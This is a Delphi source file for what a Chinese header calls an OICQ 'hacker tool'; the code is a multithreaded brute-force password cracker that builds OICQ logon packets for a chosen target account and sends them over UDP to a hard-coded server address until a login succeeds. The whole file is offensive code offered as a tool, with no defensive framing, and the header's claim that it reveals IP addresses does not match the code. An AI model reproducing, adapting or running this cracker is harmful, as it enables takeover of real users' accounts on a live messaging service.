guesspw.pas

OICQ黑客工具。可以查看对方IP地址

unit GuessPw;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, Spin,WinSock;

type
  TGuessPassDlg = class(TForm)
    Label1: TLabel;
    edTargetID: TEdit;
    Label2: TLabel;
    edThreadNum: TSpinEdit;
    edStartLen: TSpinEdit;
    edStopLen: TSpinEdit;
    edTimeOut: TSpinEdit;
    Label3: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    Label6: TLabel;
    lbCounter: TLabel;
    Label7: TLabel;
    edPassword: TEdit;
    Label8: TLabel;
    lbLeftCounter: TLabel;
    btnStart: TButton;
    btnStop: TButton;
    btnSave: TButton;
    btnLoad: TButton;
    procedure FormCreate(Sender: TObject);
    procedure btnStartClick(Sender: TObject);
    procedure btnStopClick(Sender: TObject);
  private
    { Private declarations }
    FThreadHandle:array of THandle;
    PwLock:TMultiReadExclusiveWriteSynchronizer;
    CountLock:TMultiReadExclusiveWriteSynchronizer;

//    nStartLen,nStopLen:Integer;
    strTargetId:String;
    nThreadNum,nTimeOut:Integer;

    FCounter,FTotalCount:Integer;

    strCurrPw:String;

    bStopFlag:Boolean;
    nMsgId:WORD;
    procedure IncCounter;
    function  GetNextPw:String;
    function  GetFirstChar:Char;
    function  GetNextChar(a:Char;var b:Char):Boolean;
        function GetNextNumber(a:char;var b:char):Boolean;
        function GetNextLittleLetter(a:char;var b:char):Boolean;
        function GetNextBigLetter(a:Char;var b:Char):Boolean;
        function GetNextSym(a:Char;var b:Char):boolean;
    function  GetNextWord(s:string):string;

    function  BuildLogonPackage(var buf:array of char;buflen:Integer;pw:string):Integer;
    function  LogonSucess(buf:array of char;buflen:Integer):Boolean;
    procedure StartGuess;
    procedure StopGuess;
    procedure SaveGuess;
    procedure LoadGuess;
  public
    { Public declarations }
  end;
const
SymbList=['`','~','!','@','#','$','%','^','&',
    '*','(',')','-','_','=','+','|','\','[',']','{','}',
    ':',';','''','"',',','<','.','>','/','?'];
var
  GuessPassDlg: TGuessPassDlg;

implementation
uses data,OICQPack;
{$R *.DFM}
{ TGuessPassDlg }
function  ThreadFunc(p:Pointer):integer;
var
sock:TSocket;
addr:TSockAddr;
buflen,addrlen:Integer;
nRet,val:Integer;
pw:string;
buf:array [0..2048] of char;
begin
addr.sin_family:=AF_INET;
addr.sin_port:=0;
addr.sin_addr.S_addr:=INADDR_ANY;
val:=GuesspassDlg.edTimeOut.Value;
sock:=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP);
if(sock<>INVALID_SOCKET)then
    begin
    if(bind(sock,addr,sizeof(addr))<>SOCKET_ERROR)then
        begin
        if(setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,@val,SizeOf(val))<>SOCKET_ERROR)then
            begin
            while(not GuesspassDlg.bStopFlag)do
                begin
                pw:=GuesspassDlg.GetNextPw;
                if(Length(pw)=0)then Break;
                addrlen:=SizeOf(addr);
                buflen:=GuesspassDlg.BuildLogonPackage(buf,2048,pw);

                addr.sin_family:=AF_INET;
                addr.sin_port:=htons(8000);
                addr.sin_addr.S_addr:=inet_addr('202.103.190.46');
                if(sendto(sock,buf,buflen,0,addr,sizeof(addr))=SOCKET_ERROR)then
                    begin
                    ShowMessage(IntToStr(GetLastError));
                    Break;
                    end;
                nRet:=recvfrom(sock,buf,2048,0,addr,addrlen);
                if(nRet<>SOCKET_ERROR)then
                    begin
                    if(GuesspassDlg.LogonSucess(buf,nRet))then
                        begin
                        GuesspassDlg.bStopFlag:=True;
                        GuesspassDlg.edPassword.Text:=pw;
                        end;
                    end;
                end;
            end;
        end;
    end;
closesocket(sock);
Result:=0;
end;

function TGuessPassDlg.GetFirstChar: Char;
begin
Result:='0';
end;

function TGuessPassDlg.GetNextBigLetter(a: Char; var b: Char): Boolean;
begin
if(Ord(a)=0)then
    begin
    b:='A';
    Result:=True;
    end
else if(('A'<=a) and (a<'Z'))then
    begin
    Result:=True;
    b:=Chr(Ord(a)+1);
    end
else REsult:=False;
end;

function TGuessPassDlg.GetNextChar(a: Char; var b: Char): Boolean;
begin
Result:=GetNextNumber(a,b);
if(not Result)then Result:=GetNextLittleLetter(a,b);
if(not Result)then Result:=GetNextBigLetter(a,b);
end;

function TGuessPassDlg.GetNextLittleLetter(a: char; var b: char): Boolean;
begin
if(Ord(a)=0)then
    begin
    b:='a';
    Result:=True;
    end
else if(('a'<=a) and (a<'z'))then
    begin
    Result:=True;
    b:=Chr(Ord(a)+1);
    end
else REsult:=False;
end;

function TGuessPassDlg.GetNextNumber(a: char; var b: char): Boolean;
begin
if(Ord(a)=0)then
    begin
    b:='0';
    Result:=True;
    end
else if(('0'<=a) and (a<'9'))then
    begin
    Result:=True;
    b:=Chr(Ord(a)+1);
    end
else Result:=False;
end;

function TGuessPassDlg.GetNextPw: String;
begin
PwLock.BeginRead;
Result:=strCurrPw;
PwLock.EndRead;

PwLock.BeginWrite;
strCurrPw:=GetNextWord(strCurrPw);
PwLock.EndWrite;
end;

function TGuessPassDlg.GetNextSym(a: Char; var b: Char): boolean;
begin
Result:=False;
end;

function TGuessPassDlg.GetNextWord(s: string): string;
var
i,p,len:Integer;
c:char;
Ok:Boolean;
begin
Ok:=False;
len:=Length(s);
p:=0;
for i:=len downto 1 do
    begin
    if(GetNextChar(s[i],c))then
        begin
        Ok:=True;
        p:=i;
        Break;
        end;
    end;
if(ok)then
    begin
    Result:=s;
    Result[p]:=c;
    if(p<len)then
        for i:=p+1 to len do
            begin
            Result[i]:=GetFirstChar;
            end;
    end
else
    begin
    Result:='';
    for i:=1 to len+1 do
        begin
        Result:=Result+GetFirstChar;
        end;
    end;
end;

procedure TGuessPassDlg.IncCounter;
begin
CountLock.BeginWrite;
Inc(FCounter);
lbCounter.Caption:=IntToStr(FCounter);
lbLeftCounter.Caption:=IntToStr(FTotalCount-FCounter);
CountLock.EndWrite;
end;

procedure TGuessPassDlg.LoadGuess;
begin

end;

procedure TGuessPassDlg.SaveGuess;
begin

end;

procedure TGuessPassDlg.StartGuess;
var
i:Integer;
id:LongWord;
begin
if(Length(strCurrPw)=0)then
    begin
    for i:=1 to edStartLen.Value do
        begin
        strCurrPw:=strCurrPw+GetFirstChar;
        end;
    end;
bStopFlag:=False;
for i:=1 to edThreadNum.Value do
    begin
    BeginThread(nil,4096,ThreadFunc,nil,0,id);
    end;
btnStart.Enabled:=False;
btnStop.Enabled:=True;
end;

procedure TGuessPassDlg.StopGuess;
begin
bStopFlag:=True;
end;

procedure TGuessPassDlg.FormCreate(Sender: TObject);
begin
strCurrPw:='';
PwLock:=TMultiReadExclusiveWriteSynchronizer.Create;
CountLock:=TMultiReadExclusiveWriteSynchronizer.Create;
end;

function TGuessPassDlg.BuildLogonPackage(var buf: array of char;buflen:Integer;
  pw: string): Integer;
var
id:DWORD;
begin
id:=StrToIntDef(edTargetId.Text,0);
//Version header
buf[0]:=chr(2);
buf[1]:=chr(1);
buf[2]:=chr(7);
buf[3]:=chr(0);
//cmd
buf[4]:=chr($13);
//Msg id
buf[5]:=chr((nMsgId and $ff00) shr 8);
buf[6]:=chr(nMsgId and $00ff);
//user id
Buf[7]:=Chr((Id and $ff000000)shr 24);
Buf[8]:=chr((Id and $00ff0000)shr 16);
Buf[9]:=Chr((Id and $0000ff00)shr 8);
Buf[10]:=Chr((Id and $000000ff));
//sender id
buf[11]:='0';
//sepertor
buf[12]:=chr($1f);
//password
Result:=ArrayStrCopy(buf,2048,13,pw);
buf[Result+1]:=chr(3);
Inc(Result);
end;

function TGuessPassDlg.LogonSucess(buf: array of char; buflen:Integer): Boolean;
begin
if(buf[4]=Chr($13))then
    begin
    if((buf[7]='-') and (buf[8]='1'))then
        begin
        Result:=False;
        end
    else
        begin
        Result:=True;
        end;
    end
else Result:=False;
end;

procedure TGuessPassDlg.btnStartClick(Sender: TObject);
var
i:Integer;
id:LongWord;
begin
strCurrPw:='';
for i:=0 to edStartLen.Value-1 do
    begin
    strCurrPw:=strCurrPw+'0';
    end;
SetLength(FThreadHandle,edThreadNum.Value);
for i:=0 to edThreadNum.Value-1 do
    begin
    FThreadHandle[i]:=BeginThread(nil,0,ThreadFunc,nil,0,id);
    if(FThreadHandle[i]=0)then Break;
    end;
end;

procedure TGuessPassDlg.btnStopClick(Sender: TObject);
begin
bStopFlag:=True;
end;

end.